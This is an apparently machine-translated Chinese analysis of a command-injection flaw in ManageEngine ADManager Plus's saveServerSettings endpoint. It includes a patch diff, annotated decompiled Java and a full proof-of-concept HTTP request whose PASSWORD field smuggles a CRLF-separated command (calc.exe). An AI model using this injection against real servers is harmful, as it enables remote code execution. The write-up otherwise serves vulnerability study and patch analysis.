该特定缺陷存在于ChangePasswordAction函数中。此问题是由于在使用用户提供的字符串执行系统调用之前,没有对该字符串进行正确的验证而导致的。攻击者可以利用此漏洞在服务帐户的上下文中执行代码。
该漏洞在7181版本已经修复,所以我使用ManageEngine ADManager Plus 7180和7181 2个版本进行分析。中下载它们 您可以从ManageEngine 的档案 7181 版本仅更改了一行,它是 proxyCommand多变的
在易受攻击的版本中
proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));
在补丁版本中
proxyCommand = proxyCommand + "$username=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + "\"; $password=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD")) + "\"; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d $username; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d $password";
该变量用于 saveServerSettings
的功能 ChangePasswordAction
class
由于 webapps/adsm/WEB-INF/security/security.xml
, 这个函数可以从 /api/json/admin/saveServerSettings
端点
因此,调用saveServerSettings的请求如下所示
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 199
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=97816D5CEBAADAC4A931F54B07CCD581; JSESSIONIDADSMSSO=FFA1CBA0FB38058DAB76EF485FC5C907
Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=PAYLOAD
让我们构建 params
获得RCE。
public void saveServerSettings(HttpServletRequest request, HttpServletResponse response) throws Exception {
JSONObject responseObj = new JSONObject();
boolean error = false;
String errorMessage = "";
try {
//////
#1 if (!ClientAuthorizationUtil.isAuthorized(request, AdminConfigConstants.SERVER_ACTION_ID)) {
responseObj.put("isAuthorized", false);
} else {
HttpSession session = request.getSession();
Long loginId = (Long)session.getAttribute("ADMP_SESSION_LOGIN_ID");
#2 JSONArray params = new JSONArray(request.getParameter("params"));
JSONObject mailPropJson = new JSONObject();
#3 for(int i = 0; i < params.length(); ++i) {
JSONObject tab = (JSONObject)params.get(i);
String tabId = tab.get("tabId").toString();
boolean enableProxy;
boolean currLicenseExpiry;
String username;
boolean oldStateDownTime;
String port;
boolean currEventNotif;
if (tabId.equalsIgnoreCase("mail")) {
//////
}
JSONObject retentionDetails;
JSONObject maintainDBdetails;
String serverName;
if (tabId.equalsIgnoreCase("notify")) {
//////
}
JSONObject archiveRetention;
if (tabId.equalsIgnoreCase("retention")) {
//////
}
if (tabId.equalsIgnoreCase("sms")) {
//////
}
#4 if (tabId.equalsIgnoreCase("proxy")) {
enableProxy = tab.getBoolean("ENABLE_PROXY");
archiveRetention = ProxyHandler.getProxySettings();
String existingServerName = archiveRetention.optString("SERVER_NAME", "");
String existingPort = archiveRetention.optString("PORT", "");
String existingUserName = archiveRetention.optString("USER_NAME", "");
String password;
#5 if (enableProxy) {
username = tab.optString("USER_NAME", "");
password = tab.optString("PASSWORD", "");
serverName = tab.optString("SERVER_NAME", "");
port = tab.optString("PORT", "");
if (!existingServerName.equals(serverName) || !existingPort.equals(port) || !existingUserName.equals(username) || !password.isEmpty()) {
try {
JSONObject proxySettings = new JSONObject();
proxySettings.put("SERVER_NAME", serverName);
proxySettings.put("PORT", port);
proxySettings.put("USER_NAME", username);
proxySettings.put("PASSWORD", password);
#6 ProxyHandler.testConnection(proxySettings);
ProxyHandler.setProxySettings(proxySettings, new boolean[0]);
this.setProxySystemProperties(proxySettings);
NativeException ne = new NativeException();
String proxyCommand = "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /v AutoDetect /t REG_DWORD /d 0 /f;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyEnable /t REG_DWORD /d 1;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyServer /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("SERVER_NAME")) + ":" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PORT")) + ";";
if (!proxySettings.getString("USER_NAME").isEmpty() && !proxySettings.getString("PASSWORD").isEmpty()) {
#7 proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));
}
#8 PSNativeHandler.execPSCommand(proxyCommand, ne);
if (ne.getErrorMessage() != null) {
throw new Exception(ne.getErrorMessage().toString());
}
PSNativeHandler.proxyConfigured = true;
savedSettings.add(rb.getString("admp.admin.server_settings.proxy_settings.tab_name"));
} catch (NumberFormatException var35) {
//////
}
}
} else if (!existingServerName.isEmpty()) {
//////
}
}
}
//////
}
} catch (Exception var41) {
//////
}
response.setContentType("application/json");
PrintWriter writer = response.getWriter();
writer.print(responseObj.toString());
writer.close();
}
在#1 中,服务器检查用户是否通过身份验证。
在 #2 中,后端解析 params
参数到 json 数组,并从 #3 转到它的每个元素
由于#4,元素必须有属性 tabId
有价值 proxy
由于#5,元素必须有属性 ENABLE_PROXY
有价值 true
在 #6 中,服务器尝试使用由 SERVER_NAME
和 PORT
来自元素,如果代理使用身份验证,服务器将使用来自 USER_NAME
和 PASSWORD
. 如果无法连接到代理,服务器将返回错误。
在 #7 中, proxyCommand
附加由构造的命令 USER_NAME
和 PASSWORD
这个命令将在 #8 中执行
所以我们的 RCE payload 应该被注入 USER_NAME
或者 PASSWORD
. ADManager使用CommonUtil.getPowerShellEscapedValue
逃避我们的所有特殊字符 USER_NAME
和 PASSWORD
看到它不过滤 CRLF 字符,也许我们可以用它来结束命令并执行另一个? 正如所料,我尝试了 %0d%0a
但它没有用,但是 \r\n
做过。
我们执行传奇的最终有效载荷 calc
(记得改自己的proxy)
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 183
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=204AD137BC0B510B3FCF03F2155D149D; JSESSIONIDADSMSSO=08C9CDA73E5D21D9A33AADEADB86C650
Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]
团队承接以下业务,详情咨询扫描二维码添加好友。
扫描二维码添加好友,一起交流学习。